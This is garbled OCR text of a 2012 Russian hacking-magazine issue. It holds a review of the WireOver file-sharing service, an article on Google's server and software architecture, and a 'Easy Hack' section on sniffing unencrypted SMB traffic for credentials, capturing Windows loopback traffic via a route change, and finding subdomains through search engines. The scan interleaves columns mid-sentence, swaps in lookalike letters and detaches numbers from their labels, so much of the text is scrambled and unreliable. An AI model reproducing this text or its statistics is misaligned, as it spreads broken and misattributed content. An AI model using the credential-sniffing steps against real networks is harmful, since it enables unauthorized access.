антипиратов в Сети появляются все новые и более совершенные и хитрые технологии и сервисы для
обмена файлами. Один из них- WiгeOveг.com .
Сервис начал свою работу совсем недавно и пока
функционирует в режиме бета-теста. Главная страница
1
РЕГИСТРАЦИЯ НЕ НУЖНА Начнем с того, что WiгeOveг работает сходным образом с ОгорЬох . П отребуется лишь
установить десктопный клиент, указать и подтвердить свой
e-mail.
Все. Никакой д альнейшей
ре г истрации и выбора пароля не потреб у ется. Можно начинать работу, забыв о рекламных бан
н ерах (приве т, <<Рапи д аШара » IJ, ожидании начала загрузки и прочих ужасах. Разумеется, сервис абсолютно бесплатен.
2
МЕСТО НЕ ОГРАНИЧЕНО Место в WiгeOveг предоставляется для любого количест в а файлов . Размер пе р е д аваемых
файлов также не ограничен и может составлять даже гигабай т ы. Возможно, правиль н ее будет сказать - <<пока не ограничен » , все же проект очень молод, но мы не будем рань ш е в реме н и с г ущать краски. П од д е р живается докачка в случае обрыва св я зи. С корость, п о су т и, о гр а н и ч ен а только скорос т ью твоего канала доступа в интернет.
3
ДЕСКТОПНЫЙ КЛИЕНТ Клиент WiгeOveг пока существует только под
Windows,
но мы nола г аем, ч то очень скоро
сайта предлагает встать
nоявятся версии и для других nоnулярных ОС. Все действия с nрограммой n редел ь но n росты
в очередь за приглашением
достаточно указать адрес nолучателя файла и пере т януть нужный файл (фай л ы! в ок н о n ро
и кратко рассказывает об
основных особенностях сервиса . Тем не менее,
граммы. WiгeOveг отобразит информацию об общем количес т ве файлов, их суммар н ом объеме, и закачка автоматически стартует в фоновом режиме. П осле этого п ро файлы можно забыть - остальное будет проделано без вашего участия. Программа закончит отсылку файла в облако, nосле чего сгенерирует и отnравит nолучателю ссылку на него . WiгeOveг также уве д омит n ользо вателя о том, что nолучатель начал скачивание, и о том, когда он е г о закончит.
Wiге0vег уже успел привлечь
1
к себе вполне заслуженное
'
Р2Р
О д на из главных особенностей WiгeOveг заключается в том, ч т о это облач ны й сервис
внимание пользователей
и реализован он как сеть Р2Р. WiгeOveг не индексируется, что д л я многих nол ь зо в а т е л ей может
и СМИ . Каким образом?
быть важно. П олученную ссылку на файл в WiгeOveг можно выложить в о т кры т ый д ос т у n , и файл
Дело в том, что можно не дожидаться инвайта в бету : клиент WiгeOveг доступен по
адресу download .wiгeoveг.com и сервис можно опробовать хоть сейчас. Что мы и сделали
:] . Итак, чем же примечателен WiгeOveг?
будет доступен для всех желающих. Однако создатели сервиса nобеспокоились и о в озможных проблемах. П ри большом количестве трафика т акую несанкцио н ирован н ую раз д а ч у б ы с т ро за
блокирую т. В буд ущем nлани руется реа л изовать функ ц ию «заказа фай л ов» . Мож н о буд е т о тnра вить на указанный
e-mai l
nисьмо с n росьбой nередать оnреде л енный файл. П олучате л ю письма
при д ет ссылка, по которой он сможет закачать файл в облако, а nосле человек, разместивший заnрос, получит ссылку на скачивание данного файла.
5
PR!VACY Д ля тех, кто хочет п е р е д а т ь зашифро в а нн ый файл, nре д усмотре н а такая возможность
(за е д иновремен н ую nлату в n ять до л ларов ! . Также за до n о л ните льн ую п лату в д ес я т ь д о лл аро в в месяц n ре д оставляе т ся д ос т уn в облако по защищенному кана л у - д остато ч но п роа п грей д ить
свой аккау н т до nрофессионального. В таком случае заработае т фишка «Tг ust-No- O ne Secuгity», и соз д а т ели сервиса утверждают, что nри этом даже они не буду т иметь возмож н ос т и <<увидеть» фай л ы пользова т еля . :Х:
ХАКЕР
05/160/2012
EPIDEMZ.NET
PCZONE
Иван Блинкoв !www.insight-it.rul
Ни одним другим сайтом в мире не пользуется столько
АРХИТЕКТУРНЫЕ УХИЩРЕНИЯ поискового ГИГАНТА
В
се продукты
основываются на
людей- больше половины всей аудитории интернета. Речь, конечно же, идет о
Google. Эта
огромная интернет-компания
задает общий вектор развития интернета. О том, как она
справляется с таким огромным потоком трафика и запросов, мы сегодня и поговорим.
ОБОРУДОВАНИЕ
определить , где еще можно уменьшить ее рас
~остоянно развивающейся программ-
Обеспечение работы миллиона серверов и рас
ход. При проектировании дата-центра уделя
ной платформе, которая спроектиро
ширение их парка-одна из ключевых статей
ется внимание даже незначительным деталям,
вана с учетом работы на миллионах серверов,
расходов
позволяющим сэкономить, пусть и немного,
находящихся в разных дата-центрах по всему
до минимума, компания стремится наиболее
миру. В отличие от большинства интернет
эффективно использовать серверное, сетевое
компаний, которые занимаются лишь одним
и Инфраструктурное оборудование. В традици
охлаждения дата-центров практически без
продуктом lпроектомl, архитектура
Google.
Чтобы сократить эти издержки
при таком масштабе это окупается.
В
разработан ряд технологий для
онныхдата-центрах потреблениеэлектричества
кондиционеров, с использованием воды и ее
не может быть представлена как единое
серверами примерно равно его потреблению
испарения. Например, в
конкретное техническое решение. Сегодня мы
остальной инфраструктурой !кондиционерами,
приобрел фабрику по производству бумаги в городе Хамина на берегу Финского залива
скорее буд ем рассматривать общую стратегию
маршрутизаторами,коммутаторами,видео
технической реализации интернет-проектов
наблюдением и прочим!-
в
снизить в три с половиной раза расход до
Google,
возможно слегка затрагивая и другие
Google же удалось
2009
году
и переоборудовал ее в дата-центр с охлаж дением серверного оборудования с помощью
аспекты ведения бизнеса в интернете. Тут
полнительной электроэнергии . Таким образом ,
морской воды !вода была подведена к зданию
сразу хочу сделать оговорку. Автор является
суммарное энергопотребление дата-центром
еще в 50-х годах для нужд фабрики! .
независимым специалистом по архитектуре
Google сравнимо
высоконагруженных интернет-проектов и ни
веров в типичном дата-центре и вдвое меньше
с потреблением только сер
В поисковом гиганте активно пропаганди
руют максималь.ное использование возоб
его общего энергопотребления. Чтобы добиться
новляемой энергии. Для этого заключаются
Представленная информация по крупицам
такого результата, команде приходится еже
долгосрочные соглашения с ее поставщиками
собрана из видеодокладов, презентаций, отче
дневно точно измерять, сколько электроэнергии
!на двадцать и более лет!, что позволяет
тов и статей сотрудник ов поискового гиганта.
потребляет каждый компонент. Это позволяет
отрасли активно развиваться и наращивать
какого прямого отношения к
не имеет.
ХАКЕР
EPIDEMZ.NET
05/160/2 01 2
Как устроен
Google активно
использует восполняемую энергию
Дата-центр
Google в
Оклахоме
мощности. Проекты по генерации возобнов
минутуизстроявыходитодноилинесколько
ляемой энер гии, спонсируемые
Google,
ус тройств в сис теме . На оборудование по
ной обработки больших объемов данных ,
суммарную мощность более
гигаватт, что
лагаться нельзя, поэтому вопрос отказоустой
оперирующий парами ключ -значение для
существенно больше, чем используется для
чивости переносится на плечи программной
получения т ребуемой информации.
работы
платформы, которую мы сейчас и рассмотрим.
Google. Этой
1,7
имеют
мощности хватило бы для
обеспечения элек тричеством
350 тысяч
домов .
3.
МарRеduсе-м еха низм распределен-
Такая комбинация, дополненная другими
инеобычные решения в области сервер ного
ПЛАТФОРМА В Google очень рано
оборудования и инфраструктуры. Некоторые
ненадежности оборудования и трудностями,
за патентованы; какие-то прижились, какие-то
возникающими при работе с огромными масси
начала расти о громными темпами из-за <<бума
-нет. Подробно останавливаться на них не
вами данных . Програм мная платформа, спро
социальных сетей~ Информация, добавленная
буду, лишь назову некоторые:
Компания известна за свои эксперименты
•
технологиями, довольно долгое время по
столкнулись с проблемой
зволяла справляться с индексацией интернета, пока скорость появления информации в нем не
ектированная для работы на многих недорогих
в индекс, даже через полчаса уже зачастую
резервноепитание,интегрированноевблок
серверах, позволила им абстрагироваться от
становилась устаре вшей. В дополнение к этому
питания сервера, обеспеченноестандарт
сбоев и ограничений одного сервера. Основны
в рамка х самого
ными 12Vбатарейками;
ми задачами в ранние годы была минимизация
больше продуктов, предназначенных для рабо
<<серверный сэндвич>>, где материнские
точек отказа и обработка больших объемов
ты в реальном времени.
платы расположены с двух сторон водяной
слабоструктурированных данных. Их решени
системы теплоотвода в центре стойки;
ем стали три основных слоя платформы
дата-центр из контейнеров.
Google,
стало появляться в се
Спроектированные с учетом совершенно других требований интернета пятилетней
работающие один поверх другого:
давности компоненты, составляющие ядро
1. Google File System (GFS ) -ра спределенная
платформы
В заключение этого раздела хотелось бы
Google,
потребовали фундаменталь
файловая система, состоящая из сервера
ной смены архитектуры индексации и поиска .
взглянуть правде в глаза: идеального обо
с метаданными и теоретически неограни
Около года назад публике была представлена
рудования не бывает. У любого современного
ченного количества серверов, хранящих
новая система индексирования под кодовым
устройства, будь то сервер, коммутатор или
произвольные данные в блоках фиксиро
названием
маршрутизатор, есть вполне реальный шанс
ванного размера.
танные версии старых <<с лоев » также окрести
Googl e Caffeiпe .
Новые, перерабо
BigTaЫe- распределенная база данных,
ли броскими именами, но резонанса у техниче
брака или каких-либо внешних факторов . Если
использующая для доступа к данным две
ской публики они вызвали намного меньше, чем
умножить это~. казалось бы, небольшой шанс на
произвольны х байтовых строки-ключа (обо
новый поисковый алгоритм в SЕО-индустрии.
количество оборудования, которое использует
значающие строку и столбец) и дату/время (обеспечивающие версионность).
прийти в негодность из-за производственного
ся в
Google,
то окажется, что чуть ли не каждую
2.
ТЕХНОЛОГИЯ
GOOGLE COLOSSUS
Новая архитектура
GFS была спроектирова
на для минимизации задержек при доступе
к данным (что критично для приложений вроде
GOOGLE+
GMail и YouTubel, не в ущерб основным свой
ЦИФРЫ
ствам старой версии- отказоустойчивости и прозрачной масштабируемости. В оригинальной реализации упор был
Более
40
миллионов пользователей за три
месяца
25
миллионов пользователей за первый примерное соотношение мужчин
составляет
Используется более
900 тысяч
сделан на повышение общей пропускной спо собности: операции объединялись в очереди
около миллиарда человек
12
месяц
70:30
Ежедневная аудитория
серверов
основных дата-центров в США,
и выполнялись разом, при таком подходе можно
было прождать пару секунд еще до того , как
присутствие в большом количестве точек по
первая операция в очереди начнет выпол
и женщин
всему миру (более
няться. Помимо этого в старой версии было
Себестоимость разработки больше
Около
полумиллиарда долларов
всему миру
32 тысяч
381
сотрудников в
76
офисах по
большое слабое место в виде единственного мастер-сервера с метаданными, сбой в котором грозил недоступностью всей файловой системы
ХАКЕР
05/160/2012
01,7
EPIDEMZ.NET
PCZONE в течение небольшага промежутка времени
[пока другой сервер не подхватит его функции - изначально зто занимало около пяти минут, в последних версиях около десяти секунд]. Это
ТИПИЧНЫЙ ПЕРВЫЙ ГОД КЛАСТЕРА В GOOGLE
также было вполне допустимо при отсутствии требования работы в реальном времени, но для приложений, напрямую взаимодействующих
с пользов<нелями, было неприемлемо с точки зрения возможных за дер жек.
Основным нововведением в Colossus стали распределенные мастер-сервера, что п озволи
ло не только избавиться о т единс твенно й точ ки отказа, но и существенно уменьшить размер
одного блока с данными [с 64 до 1 мегабайта], что в целом очень положительно сказалось на
работеснебольшими объемами данных. В ка честве бонуса исчез теоретический предел количества файлов в одной системе . Детали распределения ответственности
-1/2 перегрева (большинство серверов выключаются в течение 5 минут, на восстановление уходит 1-2 дня] -1 отказ расnределителя nитания l-500-1000 резко nроnадают, -6 часов на восстановление) -1 nередвижение стойки (много nередвижений, 500-1000 машин, 6 часов) -1 nереnрокладка сети (nоследовательной отключение -5% серверов на nротяжении 2 дней) -20 отказов стоек (40-80 машин мгновенно исчезают, 1-6 часов на восстановление) -5 стоек становится нестабильными (40-80 машин сталкиваются с 50% nотерей nа кетов) -8 заnланированных технических работ с сетью (nри четырех могут случаться случайные получасовые nотери соединения)
-12 nерезагрузок маршрутизаторов (nотеря DNS и внешних виртуальны х IP на несколько минут] -3 сбоя маршрутизаторов (восстановление в течение часа) Десятки небольших 3D-секундных nроnаданий DNS -1000 сбоев конкретных серверов (-3 в день) Много тысяч сбоев жес тки х дисков , nроблем с nамятью, ошибок конфигурации и т. n .
между мастер-серверами, сценариев реакции
на сбои, а также сравнение по задержкам и пропускной способности обеих версий, к сожалению, по-прежнему конфиденциаль
повлиять на эту особенность, и в итоге система
используемые системой метаданные также
ны. Могу предположить, что используется
индексации была nостроена заново с нуля
хранятся в специальных колонках BigTaЫe .
вариация на тему хеш-кольца с репликацие й
[MapReduce продолжает использоваться в дру гих nр оектах Goog le для аналитики и nрочих
При использовании Регсоlаtог все изменения
метаданных на трех[?] мастер-серверах, с соз данием дополнительной копии на следующем
задач, nо-nрежнем у не связанных с реальным
по кругу сервере в случае в случае сбоев,
временем]. Новая система получила довольно
изоляция и долговечность] , каждая из которых
но это лишь догадки . П о прогнозам Google,
своеобразное название Регсоlаtог. Попытки
затрагивает именно т е сервера в кластере,
текущий вариант реализации распределенной
узнат ь, что оно значит, приводят к различным
на которых необходимо внести изменения.
файловой системы «уйдет на пенсию » в
устройствам по фильтрации дыма, кофеваркам
Механизм транзакций на основе BigTaЫe раз
году из-за популяризации твердотельных на
и не пойми чем у еще. Но наиболее адекватное
рабатывался в рамках отдельно го проекта под
копителей и существенного скачка в области
объяснение мне пришло в г олову, когда я про
названием Google Megastoгe.
вычислительных технологий [процессоров].
читал его по слогам: ре г col- по колонкам .
2014
Регсоlаtог представляет собой надстрой
ПОДХОД
GOOGLE PERCOLATOR
пр оисходят в транзакциях, удовлетворяющих
принципу AC ID [атомарнос ть , целостность,
Таким образом, при добавлении ново-
го документа [или его версии] в поисковый
ку над BigTaЫe, позволяющую выполнять
индекс вызывается цепная реакция изменений
MapReduce отлично справлялся с задачей
комплексные вычисл ения на основе имею
в старых документах, скорее всего ограничен
полной перестройки поискового индекса, но
щихся данных, затрагивающие много строк
ная по своей рекурсивности. Эта система при
не предусматривал небольшие изменения, за
осуществлении случайного доступа поддержи
трагивающие лишь часть страниц. Из-за пото
и даже таблиц одновременно [в с тандартном API BigTaЫe это не было предусмотрено].
ковой, последовательной природы MapReduce
Веб-документы или любые другие данные
для внесения измененийвнебольшую часть
изменяются/добавляются в систему по
избежать еще двух недостатков MapReduce:
документов все равно пришлось бы обнов
средством модифицированного API BigTaЫe,
проблемы <<отстающих» и неравномерной на
лять весь индекс, поскольку новые страницы
а дальнейшие изменения в остальной базе
грузки . Пр облема «отстающих>> заключае т ся
непременно будут как-то связаны со старыми.
осуществляются посредством механизма
в том, что, когда один из серверов [или одна из
Таким образом, задержка между появлением
обозревателей. Если говорить в терминах
конкре т ных подзадач] оказывался существен
страницы в интернете и в поисковом индексе
реляционных СУБД, то обозреватели- что-то
но медле~нее ос тальны х, это также значи
при использовании MapReduce была пропор
среднее междутриггерами и хранимыми про
тельно задерживало общее время завершения
циональ~а общему размеру индекса [а значи т,
цедурами . Обозреватели представляют собой
работы кластера .
и интернета, который постоянно растет], а не
подключаемый к базе данных код [на С++],
размеру набора измененных документов.
который исполняется в случае возникновении
процессом, а раз д еляе т ся на работы с ограни
изменений в определенных колонках BigTaЫe
ченной целью и временем исполнения. Таким
[откуда, видимо, и пошло название]. Все
образом, кроме того что нуждается в ручной
Ключевые архитектурные решения, лежащие в основе MapReduce, не позволяли
вает индекс в актуальном состоянии.
В качестве бонуса в этой схеме удалось
MapReduce не является непрерывным
настройке работ и их типов, кластер имеет очевидные периоды простоя и пиковой на грузки, что ведет к неэффективному использо ванию вычислительных ресурсов.
ФИНАНСЫ
Однако все это оказалось не бесплатно: при переходе на новую систему удалось достичь
той же скорости индексации, но при этом ис Выручка около
36
миллиардов долларов
ресурсов. Производительность Регсоlаtог
Прибыль после налогов около
находится гд е-то между производительностью
10
миллиардов долларов в год
Капитализация около
200
миллиардов
доллар ов
Система охлаждения морской водой в дата-центре
пользовалось вдвое больше вычислительны х
в год
MapReduce и производительностью традици онных СУБД . Так как Регсоlаtог не является распределенной системой, для обработки фик сированного небольшага количества данных ей
ХАКЕР
EPIDEMZ.NET
05/160/2012
Как ус троен
YOUTUBE
поиск
4 миллиарда просмотров страниц в день 60 часов видео загружается каждую минуту На февраль 2012 года в США, по данным comScoгe : 147,4 миллиона уникальных зрителей 16,7 миллиарда просмотров видео (в октябре 2011
За последние
в
20
7 часов
видео за месяц
10,8 миллиона
10% всего
видео в формате
миллисекунд, то есть
40
миллиардов страниц в индексе: если приравнять каждую
URL (10
в
18 степени): если 51 миллион
распечатать их в одну строку, ее длина составит
100
квинтиллионов слов: чтобы
набрать их на клавиатуре, одному человеку потребовалось бы примерно
HD 14% просмотров
100
к листу А4 , они бы покрыли территорию США в пять слоев
Винтернете встречается примерно
YouTube Movies
5 миллионов лет 1,5
Проиндексировано более
просмотров происходит с мобильных устройств
До сих пор работает в убыток, лишь
менее
километров- треть расстояния от Земли до Солнца
часов
Несколько тысяч полнометражных фильмов в
обработки одного поискового
раз
Более
было больше
миллиарда просмотров видеорекламы, суммарной
длительностью в
13%
30
Более квинтиллиона уникальных
Каждый зритель посмотрел в среднем
Более
14 лет среднее время 3 секунд до
запроса уменьшилось с
миллиардов)
1,1
видео приносят
сложить в стопку высотой
выручку с рекламы
миллиарда изображений: чтобы их
сохранить, потребовалось бы
391
112
миллионов дискет, которые можно
километр
приходится использовать существенно больше
году, с тех пор иногда упоминался сотрудника
ресурсов, чем традиционной СУБД ; такова цена
ми без особой конкретики. Точно неизвестно,
научных отчетов
масштабируемости. По сравнению с
развернута ли эта система на сегодняшний
успешные ореnsоuгсе-nроекты, а любая опу
также пришло сь платить дополнительными
день и если да, то в какой части дата-центров ,
бликованнаячастьихтехнологическогостека
потребляемыми вычислительными ресурсами
а также каков статус реализации заявленного
никогда не остается незамеченной. В то время
за возможность случайно г о доступа с низкой
функционала.
MapReduce
Goog le уд алось достичь
пр актически
основываются многие
как большинство компаний стараются пр испо
задержкой. Тем не менее, при выбранной ар
хитектуре
среди технологических проектов. Н а основе
еобить существующие технологии для реше
ПРОЧИЕ КОМПОНЕНТЫ ПЛАТФОРМЫ Google в конечном итоге сводится
ния своих типичных за д ач,
сталки ва ет
Платформа
ся с по-настоящему уникальными нагр узками
вычислительных мощностей на много п оряд
к набору сетевых сервисов и библиотек для
и бизнес - задачами. Это подталкивает их быть
ков. Дополнительные накладные расходы , свя
дост упа к ним из различных языков програм
впереди всего остального мира с технической
занные с распределенной прирадой решения,
мирования [в основном используются С/С++ ,
точки зрения и создавать у никальные решения
линейного масштаби р ования при увеличении
Java, Python и Регl) . Каждый nродукт, раз рабатываемый Google, в большинстве случаев
у никальны х проблем и задач.
ходят аналогичный показатель традиционны х СУБД, но у данной системы есть солидный
использует эти библиотеки для осуществления
Стабильные, проработэнные и повторно ис
простор для оптимизации в этом направлении,
до ступа к данным , выполнения комплексных
пользуемые базовые компоненты проекта
чем
вычислений и други х задач, вместо стандарт
- залог с тремительн ого развития, а также
ных механизмов, предоставляемы х операци
создания новых проектов на той же кодовой
онной системой, языком программирования
базе. Е сли задачи и обстоятельства, с учетом
в некоторых случаях до тридцати раз превос
активно и занимается.
МЕХАНИЗМ
GOOGLE SPANNER
Что из это го можно вынести для себя?
Sрапnег представляет собой единую систему
или ореnsоuгсе-библиотеками. Оnисанные
которых проектировалась система, суще
автоматического у пр авления р есурсами всего
про екты составляют лишь основу платформы
стве нн о изменились- н е бойся вернуться на
пар ка сер в еров
Google,
Google.
Про ек т гр ан д иозный
и даже n ланирова л ся из расчета на
1-10 миллионов серверов и примерно 1000 петабайт данных, расположенных в 100- 1000 дата
хотя она включает в себя куда больше
стадию проектирования и реализовать новое
готовых решений и библиотек. Не ско лько при
решение. Используй инструменты, п одходящие
меров из публично дост уn ных проектов:
для решения каждой конкретной за д ачи, а не
• GWT [ developeгs.google.com/web-toolkit )
те, которые навязывает мода или привычки
центрах по всему миру и доступных миллиарду
система для реализации поль зовательских
участников команды. Даже , казалос ь бы, не
клиентских машин. П о сути, эт о единое для
интерфейсов веб-приложений на
значительные недоработки и допущения на
всего
пространство имен, по структуре
Java;
• Closuгe Tools [ developeгs.google.com/
похожее на иерархию каталогов, не зависящую
closuгe )- набор инструментов для работы
от физического расположения данных. Про
с JavaScгipt;
дукты, которые будут строит ь ся на его основе, смогут просто указывать высокоуровневые
требования, например:
<<99%
потери -уделяй максимум внимания деталям при реализации nроекта. Н ельзя полагаться
• LeveiDB [ code.google.com/p/leveld Ь) - встра иваемая высокопроизводит ельная СУБД;
• Pгotocol Buffeгs [co de.google.com/p/
за дер жек при
большом масштабе могут вылиться в огромные
даже на очень дорогое оборуд ование - все ключевые сервисы должны работ ать минимум на двух серверах, в том числе и базы данных.
pгotobuf )- не зависящий от я зыка програм
Распределенная платформа, об щ ая для всех
расnоложи эти данны е на как минимум дв ух
мирования и платформы формат бинарной
nроектов, позволит новым разработчикам л егко
жестких ди сках в Евр о п е, двух в США и од н ом
сериализа ци и струк т урированных данных,
вливаться в работу над конкрет ными продукта
в Азии >>. Все остальное система возьмет на
исnользуется nри взаимодействии большин
ми, с минимумом представления о внутренней
себя, включая репликацию и отказоустойчи
ства компонентов системы внутри
ар хитек турекомпонентов платформы.
предоставлен прозрачный доступ не только
ком пр ессия данных , исnользуется при хране
ких дата-центрах- одна из самых тяжелы х
к хранению данных, но и к использованию вы
нии данных в
задач, с которыми сталкиваются интернет
достуnе к этим данным должны быть д о
50
м с;
вость. Возможно , аналогичным образом будет
Google; • Snappy [code.google .com/p/snappy) - быстрая GFS.
компании . Сегодня каждая из них решает ее
числительных мощностей е дин ого кластера. известно очень мало, офи циальн о он был
ПОДВОДИМ ИТОГИ Google задает в ектор развития
nредставлен публике лишь о дн аж ды в
индустрии : именно эта компания диктует мо д у
К сожалению, об э т ом проекте
ХАКЕР
Google 2009
Прозрачная работа приложений в несколь
по-своему и держит подробности в секрете, всей интернет
05/160/2012
что сильно замедляет развитие ореnsоuгсе
решений. ::::;:
0-'9
EPIDEMZ.NET
ВЗЛОМ/ EASY НАСК
Алексей «GreenDog » Тюри н, Digital Security lt w itte r.c o m /ant y urin ~
ПРОСНИФАТЬ SМВ-ТРАФИК ..
в
~ ,:ddп:l71::.n
В прошлЬм номере ты уз н а л пр о три к с
GPP,
ко гда, имея пользо
вательский доступ к домену, можно было пр очитать файл политик на контроллере и вынуть из него па раль от привилегированной
...".,_ Pootocol
2611H.OlS~2
172.16.0.111
27027.01711• 2111:'.01HIJ 27227.011718 27327.019731 21421.021010 2H27.021SOO
172.16.0.HJ 171.16.0.1.8 112.18.0.123 172.16.0.118 172.16.0.121 172.16.0.111 t12.tt.O.I2J
27t27.oнgst
172.16.0.121 112.16.0.118
?'1
l12.lб.O.IH
112.16.0.118 172.16.0.123 172.1&.0.118 112.1б.О.!Н
SМ8
172.16.0.118
уче т ки . На самом деле ситуа ци я может быть еще проще и домен ный доступ нам н е п отребуется. В се д ело в т ом, что SМВ- п ротокол,
PO<ht"""'Нo""'"'"
lU
C0t01«11Typt
1,1nf~nм
...
ll.tq~tJt, F!O; 0~1029. P~th: нтcrtite~Response,FIO:O~S029
/IT Cre&t• Aroc!K
\ D&confiQ.tXt
Trans2 ll.@q~f!st, (ILCIIV_HLCIN~O. FIO: 0х8029, Query Fi1t 1nterna1 Info Tr,nslll.,ponsl, FIO: 0~8029. QV'AVJILLINFO кrcreaa AndX ll.equtst, НО: Ox40)d, P&th: \ НТ Crt•te Andx Respome, по: Ox~Old ТГ"\52 Цtq~tH, ~1NOJ1RSТ2, РIЦIГП: \ OitonffCJ.t•t тгам2 ~esp0nse, H~DJIRST2, rllts: osconflg.ttt tlOStll.tqUISt,FtO:O••Old clost 11..sponst. ~ro· Oкl03d тгащ2 Req~est, QUI;IVJS....I!fi'O. Query ~S vol....,. tnfo TГJI\52 ~tspons t , Qti"IVJSJIU'O
который испо ль зуе т с я для пер еда чи файлов и межпроцесснаго
~~??eq:~~~~:~;~~:~r~ь::~~:::.;::~::t
взаимодейс тв ия
NТCГtltt.o.ndXRtЦutst.PI.th: NТCГtltt.\l'odXRt5pontt, НО: 0•С0)0
То ес ть в случае
\\1QEI)_61oi8FI.[ (&Z/H)R(IOO,!mro!ll
Dl<~
[IPCI в винд е, не шифрует передаваемые данные . с GPP нам потребовалось бы проснифать трафик,
тrans2 ~equtst. HNOJIRST2. Pattern: \ 08t011flg.txt тr1.ns2 Rtoponst, rrNOJIIU"Т2, rlles: oeconfiCJ.tXt
по: Oxcolo clostResponн,~'IO: OJ!t0)0 тransl Request, QUOYJ'AПI..INrO,
clostRtQ<Jtst.
передаваемый между кон тр оллером дом ена и пользователем,
тrа"'2
а потом в офлай не расшифровать па роль и попасть в ОС.
Ещ е раз п ов торю , что в
~-
0
П"JnS2Rtsponst.riNQ....I'IIU"Тl.r11•s:08conflg.tXt
ctuery rtlt '" tnt'o, RtSpo<>Jt, Q\I~II.Y_I' ... nt_I!fi'O .f.ndX RtQUtst, r1o: ox~03f, Plth: \ 08conflg.txt J.ndJI XISpo<UI, rzo: Ox~Mf
\ DIIIcontiCJ.tXt
NТ cгeatt NТ CГIItl
SMB [как в версии 1, т ак и в версии
21
от
сутствует подд ержка ши фро в ания. За то есть подд ержка цифровых
Из SМВ-трафика- в «ж ивой >> файл
под п исей, которая, между прочим, хоро ш о работает, защищая х осты о т такой стра шн ой вещи, как
SMBRelay.
Жал ь, что включена
входе поль зователя ПО читает фай л с лагином и п аролем, а за т ем
она п о умолчанию т олько на контро лл ере домена [подключения без подписи зап р еще ны!. Однако прим ер с GPP во многом натянут. Куда
А з лы е дяди прослушали тр афик и пол учили до ступ к СУ БД . П ри
более распространенная п рактика - э т о «уда л енныЙ>> запуск ПО .
чем для э т о г о им потребовался только Wireshaгk и п а р а к л иков
ко нн ектится к базе [такой алгоритм работы очен ь распространен!.
П овесят на какой -ниб удь шар е бух г а лт е рс кую п ро грамму, напри
мыши : «Меню
мер , и ярлычок кину т н а рабочий сто л . И вроде все неплохо, н о при
файл и сохраняем его куда-н ибудь.
Fi le -7
Е хрогt
-7 Objects -7 SMB»,
дал ее вы бираем
ХАКЕР
050
EPIDEMZ.NET
05/160/2012
EASY
НАСК
ПРОСЛУШАТЬ ТРАФИК НА LООРВАСК-ИНТЕРФЕЙСЕ ПOДWINDOWS
Ei·i•J.4!И ;и•
восnользоваться каким -ни будь триальным п лат ным снифе р ом
вроде CommView lgoo.gl/ySZmY ].
Оче нь часто бывает та к, что ты заинтересовался какой -т о работаю щей по Сети программой и тебе н адо посмотреть, как именно она
2.
Н есколько кривой, н о все же мето д . Н ужно в сего лишь р аз н ести
рабо та ет. Однако т у т встает пр облема - и серверная, и клиентская
клиент и сервер по разным хостам. Может nоказаться, что э т о
час т ь по т ем или иным причин ам находятся на одном и том же ха
нарушает условия задачи, н о нет! Используя портфорвардинг,
е те . И вроде бы все ничего, но в
мы можем сделать н асил ьны й редирект. Но схема совсем не
Windows
сущес тв ует к л ассическая
nроста. Клиентом коннектимся на первый портфорвад, о н пер е
багофича: lоорЬасk-интерфейс прослушать << н ельзя>>. Сейчас мы
кидывает трафик с n е тли на какой -т о внешний хае т, где будет
уви дим, как э т о можно обойти. Для начала немного теории.
L оорЬасk-интерфейс - это виртуальный сетевой интерфейс.
еще один форварди н г- обратно на первый хает, н о уже на др у
<< Л юбой тр афик, который посылается компьютерной пр ограммой
гой nорт, который, в свою очередь, сделает редирект тр афика
на и нтерф ейс
уже на настоящий сервер.
loo pba ck,
тут же получается тем же интерфейсом >>,
-гово рит нам Википедия. То есть зто спе ци аль ны й интерфейс,
3.
Последни й и самый легкий метод- это махи нация с таблицей
часто используемый для общения компьютера <<само го с собой>>.
маршрутизации в ОС . Весь тр афик, идущий н а
В
nеренаnравим на шлюз, который вернет данные обратно к нам.
1Pv4
под се ть от
127.0.0.0 до 127.255.255.255- это loopback.
Д ан
lo opba ck,
мы
ный интерфейс прис у т ствуе т у всех ОС, н о проснифать трафик на
Мне кажется, что это лучший метод, хотя у него и есть не сколь
нем бывает не так-то уж и просто. К сожале ни ю, всем извест ный
ко недостатков. В о-nервых, входящие nакеты буду т д уб ли
драйвер
роваться !но они отмечаются в Wiгeshaгk'e, а п отому особых
WinPcap этого не позв о ляет, поэтому Wiгeshaгk не п окажет loo pba ck'e. Так что же делать? Здесь есть несколько
тебе трафик на
1.
nроблем не возникнет]. Во-вторых, ес ли д ан ны х на вн у тренн ем интерфейсе много, то можно nрилично забить ка нал . Я пр о в о
вариантов:
Как ни стра нн о, пробл емы прослу ш ки Е сть проблема
loopback'a, по су ти , нет.
WinPcap'a, чья модель внедрения в ОС не n о WinPcap'e работают очень
дил тесты на виртуалке с вирт уал ьным рауте ром, и nроб лем не было. На nрактике все выглядит следующим образом:
зволяет э т ого делать. Н о так как н а
многие сниферы, то у народа скла дыв ается не совсем nравиль
Добавляем основной маршрут (редире кт
ное мнение о винде. То есть если исnользовать с н ифер, который
route add
взаимодействует с ОС другим методом, то nроблема решится.
В ка ч естве nримера можно взять
RawCap lgoo.gi!VCxhN ]. Он
очень ма л енький и напрямую работает с гаw-сокетами вин ды. Однако у него ес ть и свои тонкости:
только под
loopback
< тво й
< ОСНОВНОЙ
loopback' a) IP > mask 255.255.255.255 \
ШЛЮЗ >
metric 1
После работы удаляем лишнюю запись
route delete
< твой
IP >
можно снифа ть
Vista/7, а под ХР - нельзя !зато снифинг на уда
ленные хост ы под Х Р работает н ормально]. Кс т ати, еще можно
Подробности про lоор Ь асk - интерфейс и трудности проелушивания
данных на нем можно прочесть в вики Wiгesha гk 'a l goo.g i /RJyFЗ ] .
После небольшой корректировки роутинга мы ножен видеть трафик
ХАКЕР
05/160/2012
051
EPIDEMZ.NET
.
ВЗЛОМ/ EASY НАСК
ПОЛУЧИТЬ ПОДДОМЕНЫ ХОСТА с помощью поисковиков
EfAtabl!!t.·l ht? ;(может быть, все-таки авторство за Гуглом? - При м. ре д . ). В прошлом номере мы обсуждали необходимость получения до
Для реализации техники нам потребуется параметр
менов и поддоменов для проведения пентеста какой-либо орга
и последующий фильтр по ответам от Гугла. Например , для
<<site:>>
низации, а также те бо н ус ы , которые все это может нам п рине
п оиска п оддоменов •.micгosoft.com мы должны выполнить
сти. Однако в интернете у нас есть две проблемы: сама операция
следующие шаги:
трансфера зоны разрешена редко, плюс мы не можем получить
1. 2.
виртуальные поддомены , которые создаются и управляются
веб-сервером . А ведь на них многое держится , и узнать их очень хоче тся. Для решения д анной проблемы мы можем воспользо
